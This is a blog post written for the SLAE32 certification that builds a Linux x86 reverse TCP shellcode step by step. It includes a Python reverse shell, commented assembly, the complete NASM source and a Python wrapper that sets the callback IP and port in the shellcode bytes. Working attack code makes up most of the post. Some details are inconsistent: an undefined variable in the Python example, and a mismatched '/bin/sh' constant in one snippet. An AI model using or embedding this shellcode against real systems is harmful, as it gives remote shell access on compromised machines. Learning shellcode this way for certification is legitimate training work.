SLAE32 Assignment 2 – Shell Reverse TCP

Nota: el contenido de esta entrada estará escrito en inglés con el objetivo de cumplir los requerimientos del examen para la obtención del certificado SLAE32 de Pentester Academy.

Note: content of this post will be written in English in order to be compliant and pass the SLAE32 certification exam brought by Pentester Academy.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online.courses/securitytube-linux-assembly-expert/.

Student ID: PA-26078

GitHub repository: https://github.com/tdkmp4n4/SLAE32_Exam/tree/main/Assignment2

Assignment tasks

The following tasks were given to the student:

  • Create a Shell_Reverse_TCP shellcode
    • Reverse connects to configured IP and port
    • Executes shell on successful connection
  • IP and port should be easily configurable

Analyzing a well-known Shell Reverse TCP shellcode

During real word engagements, penetration testers usually need to establish a shell in order to execute commands on a targeted machine. This is also known as “popping a shell”, which can be basically bind or reverse. Bind shells open a port into the target, receive the connection and finally a spawn a command shell when a connection arrives. Alternatively, reverse shells make a connection from the compromised machine to a server controlled by the attacker, specifying that a command shell must be spawned when the connection succeeds (the command shell is therefore “received” by the attacker).

Reverse shells using TCP can be written and achieved using almost any high-level programming language such as Python or Java, as well as using low-level programming languages such as C. Moreover, as this blog post explains, assembly language can be also used to write a reverse shell program. Firstly, let’s analyze a typical reverse shell written in a high-level language in order to understand which steps are required for the assembly code. A Python reverse shell was chosen (see code below), but any other reverse shell could be analyzed as well.

#!/usr/bin/python

# Mandatory imports in order to run the subsequent code
import socket, os, subprocess;

# Socket creation
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

# Socket connection to the target
s.connect(("0.0.0.0",4444));

# File descriptors duplication (STDIN, STDOUT, STDERR)
os.dup2(c.fileno(),0);
os.dup2(c.fileno(),1);
os.dup2(c.fileno(),2);

# Command shell spawning
p=subprocess.call(["/bin/bash","-i"])

The example shown above is used to obtain a reverse shell on a target. However, the whole functionality can be divided into the following tasks which are also well commented in the source code.

  1. Import of libraries which are necessary for running the subsequent tasks
  2. Creation of a network socket using TCP
  3. Connection to IP and port controlled by the attacker
  4. File descriptors duplication
  5. Command shell spawning

The assembly code needed for passing Assignment 2 can be broken down into various steps as well. The following sections describe one by one all the steps taken to implement a Shell Reverse TCP shellcode.

Creating a socket

Before creating a socket, a manual page can be read in order to learn how Linux systems manage sockets. The following command will display “socketcall” manual page. Note that “socketcall” manual page includes several links to functions such as “socket” and “connect” that are useful for our purpose.

man socketcall

Socketcall is a syscall whose number (102) can be found on “/usr/include/i386-linux-gnu/asm/unistd_32.h”.

In order to create the socket, the socket function must must be used. Firstly, socketcall functions numbers can be found on “/usr/include/linux/net.h” file.

Moreover, socket function arguments can be found entering the manpage using the following command:

man socket

Socket function (socketcall number 1) needs three arguments in order to operate: “domain”, “type” and “protocol”. According to the Python reverse shell example and to the needs of this project, the following values must be passed to the socket syscall (note that decimal values can be found in “/usr/include/i386-linux-gnu/bits/socket.h” file as explained in socket manpage):

  • domain: AF_INET -> 2
  • type: SOCK_STREAM -> 1
  • protocol: Default value -> 0

If socket function succeeds, the return value will be a file descriptor for the new socket according to the manpage. If function fails, value “-1” is returned. The following snippet of assembly code is the responsible of creating the socket. Note that code is well commented and structures are used to pass arguments to socket function.

socket_creation:
    xor eax, eax ; Clear EAX register
    mov ebx, eax ; Clear EBX register
    push eax     ; Protocol must be 0 (default)
    push 0x01    ; Type must be 1 (SOCK_STREAM)
    push 0x02    ; Domain must be 2 (AF_INET)
    mov al,102   ; Move 102 to AL register (socketcall syscall)
    inc ebx      ; Place 1 in EBX register (socket() is number 1 in socketcall)
    mov ecx, esp ; Point arguments structure for socket() to the top of the stack
    int 0x80     ; Make syscall
    mov edx, eax ; Save file descriptor returned by socket()

Connecting to IP and port controlled by the attacker

After creating the socket, it is time to connect to an assigned IP and port. By default, the source code will connect to local IP address (127.0.0.1) and port 4444. However, a Python wrapper is going to be developed in order to be able to specify custom IP and ports. First of all, connect function manual page must be consulted to understand how it operates. Moreover, connect function has assigned number 3 in socketcall syscall.

Reading the documentation, connect function needs three arguments in order to operate properly: “sockfd”, “*addr” and “addrlen”. In this case, values passed for these parameters are going to be explained one by one, hoping it clarifies all of them:

  • sockfd: socket file descriptor which was returned by socket() function -> In our case, saved in EDX register
  • *addr: this is a pointer (reference to memory address) where a structure of type “sockaddr” is placed. This structure contains information such as the IP address and port that socket will connect to. As per the documentation, the structure has the following elements:
    • sa_family_t: short integer (2 bytes) defining the family -> In our case, family is AF_INET (number 2)
    • char[14]: array of 14 bytes defining the information needed to use connect function -> In our case, local IP address (127.0.0.1) and port 4444 are going to be defined
      • Port: 2 bytes
      • IP Address: 4 bytes
      • Unused: 8 bytes
  • addrlen: length in bytes of “addr” structure that lies in memory -> In our case, this is a fixed value of 16 bytes according to “addr” elements (2 bytes + 14 bytes)

If connect function succeeds, the return value will be “0”. If function fails, value “-1” is returned. The following snippet of assembly code is the responsible of connecting to local IP address and port 4444 using the socket. Note that code is again well commented.

socket_connect:
    xor esi,esi      ; Clear ESI register
    push 0x0100007F  ; Push 127.0.0.1 (this address contains null bytes)
    push word 0x5c11 ; Push 115c value (4444 in decimal) for port number
    push word 0x2    ; Push family value (AF_INET which is 2)
    mov esi, esp     ; Pointer to addr structure for connect()
    push 0x16        ; Push 16 bytes length (addrlen) to the stack
    push esi         ; Push pointer to addr structure
    push edx         ; Push socket file descriptor
    mov al, 102      ; Move 102 to AL register (socketcall syscall)
    add ebx, 2       ; Place 3 in EBX register (connect() is number 3 in socketcall)
    mov ecx, esp     ; Pointer to arguments structure for connect()
    int 0x80         ; Make syscall

File descriptors duplication

The connection is now established between the endpoints. However, in order to have a command shell (reverse shell), standard file descriptors must be duplicated. To do so, dup2 syscall can be used. The manual page for dup2 function must be firstly read. Moreover according to “/usr/include/i386-linux-gnu/asm/unistd_32.h” file content, dup2 function has assigned number 63.

Usage of dup2 is quite simple. It only receives two arguments which are the old file descriptor and the new one, making a full copy. Therefore, our assembly code must duplicate all the standard file descriptors (0, 1 and 2 for STDIN, STDOUT and STDERR respectively) with the file descriptor socket.

If dup2 function succeeds, the return value will be the new file descriptor. If function fails, value “-1” is returned. The following snippet of code performs file descriptors duplication.

descriptors_duplication:
    mov ebx, edx     ; Save old file descriptor into EBX register (file descriptor from socket)
    xor ecx, ecx     ; Clear ECX register
    mov cl, 2        ; Move 2 to ECX register which is new file descriptor for first iteration

duplicate_fd:
    mov al, 63       ; Move 63 to AL register (dup2 syscall)
    int 0x80         ; Make syscall
    dec ecx          ; Decrement ECX register by 1
    jns duplicate_fd ; Jump if not sign (if not -1) to duplicate next file descriptor

Calling Execve

Finally, all the operation with socket has been done and the last pending task is to execute a shell through it. In order to accomplish this task, execve function (which has number 11 assigned in “/usr/include/i386-linux-gnu/asm/unistd_32.h” is called. Let’s see manual page for that function.

Execve receives three arguments in order to operate properly. All of them and needed values are explained below:

  • *filename: This is the file that is going to be executed or called and it needs to be binary or a script -> In our case, the desired value is “/bin/sh\x00” (/bin/sh null terminated) in order to obtain a shell
  • argv[]: array of argument strings that are passed to the new program. Moreover, the first of these strings should contain the filename associated with the file being executed (i.e. pointer reference to filename) -> In our case, no extra values are needed so argv[] argument can take the value of “/bin/sh\x00” string in memory plus a null DWORD
  • envp[]: Array of strings to pass environment to the new program -> In our case, that will be null because no environmental variables are needed

Execve does not return if it succeeds and it returns “-1” if there was any error. Moreover, as per course videos, a complex structure can be constructed in order to meet Execve requirments. Code below shows the assembly code written to call Execve using the stack method, which will first save all the required arguments on the stack and then use them properly.

execve:
    xor eax, eax    ; Clear EAX register
    push eax        ; Push null bytes
    push 0x68832f6e ; Push "hs/n" to stack
    push 0x69622f2f ; Push "ib//" to stack
    mov ebx, esp    ; Move to EBX register pointer to "//bin/sh" string
    push eax        ; push null bytes
    push ebx        ; Push the pointed address
    mov ecx, esp    ; Move to ECX pointer to address of "//bin/sh" plus null bytes
    xor edx, edx    ; Clear EDX register
    mov al, 11      ; Move 11 to AL register (execve syscall)
    int 0x80        ; Make syscall

Final code

Putting all the pieces together, a final assembly file can be created. Then, this file can be compiled and linked using NASM and LD and shellcode extracted using objdump as explained in first SLAE blog post using “Get-Shellcode.py” script. Moreover, a C proof-of-concept can be written and compiled using the shellcode extracted from objdump (this is done by “Get-Shellcode.py” script too). Both binary files work as expected as it is shown below.

; Filename: ShellReverseTCP.nasm
; Author:  David Alvarez Robles (km0xu95)
; Website:  https://blog.asturhackers.es
;
; Purpose: This assembly file has been created for completing the requirements of the SecurityTube Linux Assembly Expert (SLAE) certification

; Define entry point
global _start			

; Start text section
section .text
_start:

; Socket creation: int socket(int domain, int type, int protocol) -> Return value: file descriptor
socket_creation:
	xor eax, eax	; Clear EAX register
	mov ebx, eax	; Clear EBX register
	push eax	; Protocol must be 0 (default)
	push 0x01	; Type must be 1 (SOCK_STREAM)
	push 0x02	; Domain must be 2 (AF_INET)
	mov al, 102	; Move 102 to AL register (socketcall syscall) 
	inc ebx		; Place 1 in EBX register (socket() is number 1 in socketcall)
	mov ecx, esp	; Pointer to arguments structure for socket()
	int 0x80	; Make syscall
	mov edx, eax	; Save file descriptor returned by socket()


; Socket connection: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) -> Return value: "0" or "-1"
socket_connect:
	xor esi, esi	 	; Clear ESI register
	push 0x0100007F		; Push 127.0.0.1 (this address contains null bytes)
	push word 0x5C11 	; Push 115C value (4444 in decimal) for port number
	push word 0x2	 	; Push family value (AF_INET which is 2)
	mov esi, esp	 	; Pointer to addr structure for connect()
	push 0x16	 	; Push 16 bytes length (addrlen) to the stack
	push esi	 	; Push pointer to addr structure
	push edx	 	; Push socket file descriptor
	mov al, 102	 	; Move 102 to AL register (socketcall syscall) 
	add ebx, 2	 	; Place 3 in EBX register (connect() is number 3 in socketcall)
	mov ecx, esp	 	; Pointer to arguments structure for connect()
	int 0x80	 	; Make syscall


; File descriptor duplication: int dup2(int oldfd, int newfd) -> Return value: file descriptor for new socket or "-1"
descriptors_duplication:
	mov ebx, edx	 ; Save old file descriptor into EBX register (file descriptor from socket)
	xor ecx, ecx	 ; Clear ECX register
	mov cl, 2	 ; Move 2 to ECX register which is new file descriptor for first iteration

duplicate_fd:
	mov al, 63	 ; Move 63 to AL register (dup2 syscall)
	int 0x80	 ; Make syscall
	dec ecx		 ; Decrement ECX register by 1
	jns duplicate_fd ; Jump if not sign (if not -1) to duplicate next file descriptor


; Execve call: int execve(const char *pathname, char *const argv[], char *const envp[]) -> Return value: None or "-1"
execve:
	xor eax, eax	; Clear EAX register
	push eax	; Push null bytes
	push 0x68732f6e	; Push "hs/n" to stack
	push 0x69622f2f	; Push "ib//" to stack
	mov ebx, esp	; Move to EBX register pointer to "//bin/sh" string
	push eax	; Push null bytes
	push ebx	; Push the pointed address
	mov ecx, esp	; Move to ECX pointer to address of "//bin/sh" plus null bytes
	xor edx, edx	; Clear EDX register
	mov al, 11	; Move 11 to AL register (execve syscall)
	int 0x80	; Make syscall

Python wrapper to configure IP and port dynamically

Finally, a Python wrapper script has been developed in order to be able to configure IP and port of the reverse shell dynamically. The script is fed with base shellcode obtained before and only searches and replaces “\x11\x5c” bytes on the shellcode, which correspond to port 4444 and “\x7F\x00\x00\x01” bytes which correspond to local IP address. Replacement will occur taking into account the new IP and port number passed as the first and second arguments respectively to the script. Evidences below show that both the wrapper and the new shellcode work perfectly.

#!/usr/bin/python

# Filename: wrapper.py
# Author: David Alvarez Robles (km0xu95)
# Website: https://blog.asturhackers.es

# Purpose: This script was developed in order to dynamically change IP and port
# used in the Shell Reverse TCP shellcode

import sys
import re

def is_valid_ip(ip):
	m = re.match(r"^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$", ip)
	return bool(m) and all(map(lambda n: 0 <= int(n) <= 255, m.groups()))

if(len(sys.argv) != 3):
	print "Usage: ./wrapper.py <IP> <Port>"
	sys.exit(0)

elif(int(sys.argv[2])<1 or int(sys.argv[2])>65535 or (not is_valid_ip(sys.argv[1]))):
	print "[-] Port number must be 1-65535 and IP address should be valid"
	sys.exit(0)

else:
	base_shellcode = "\\x31\\xc0\\x89\\xc3\\x50\\x6a\\x01\\x6a\\x02\\xb0\\x66\\x43\\x89\\xe1\\xcd\\x80\\x89\\xc2\\x31\\xf6\\x68\\x7f\\x00\\x00\\x01\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x16\\x56\\x52\\xb0\\x66\\x83\\xc3\\x02\\x89\\xe1\\xcd\\x80\\x89\\xd3\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
	print "[*] IP address: " + str(sys.argv[1])
	print "[*] Port number: " + str(int(sys.argv[2]))
	IP_chunks = sys.argv[1].split(".")
	IP_chunks_hex = []
	for IP_chunk in IP_chunks:
		IP_chunk_ = format(int(IP_chunk), '#04x').split("0x")[1]
		IP_chunks_hex.append(IP_chunk_)
	IP_hex = "0x"+IP_chunks_hex[0]+IP_chunks_hex[1]+IP_chunks_hex[2]+IP_chunks_hex[3]
	print "[*] Hex IP address: " + IP_hex
	print "[*] Hex port number: " + format(int(sys.argv[2]), '#06x')
	new_port = format(int(sys.argv[2]), '#06x').split("0x")
	new_ip_bytes = "\\x"+IP_chunks_hex[0]+"\\x"+IP_chunks_hex[1]+"\\x"+IP_chunks_hex[2]+"\\x"+IP_chunks_hex[3]
	new_port_bytes = "\\x"+str(new_port[1][0:2])+"\\x"+str(new_port[1][2:4])
	print "[+] New bytes: " + new_ip_bytes
	print "[+] New bytes: " + new_port_bytes
	shellcode = base_shellcode.replace("\\x7f\\x00\\x00\\x01",new_ip_bytes)
	shellcode = shellcode.replace("\\x11\\x5c",new_port_bytes)
	
	print "[+] New shellcode: \"" + shellcode + "\""

~km0xu95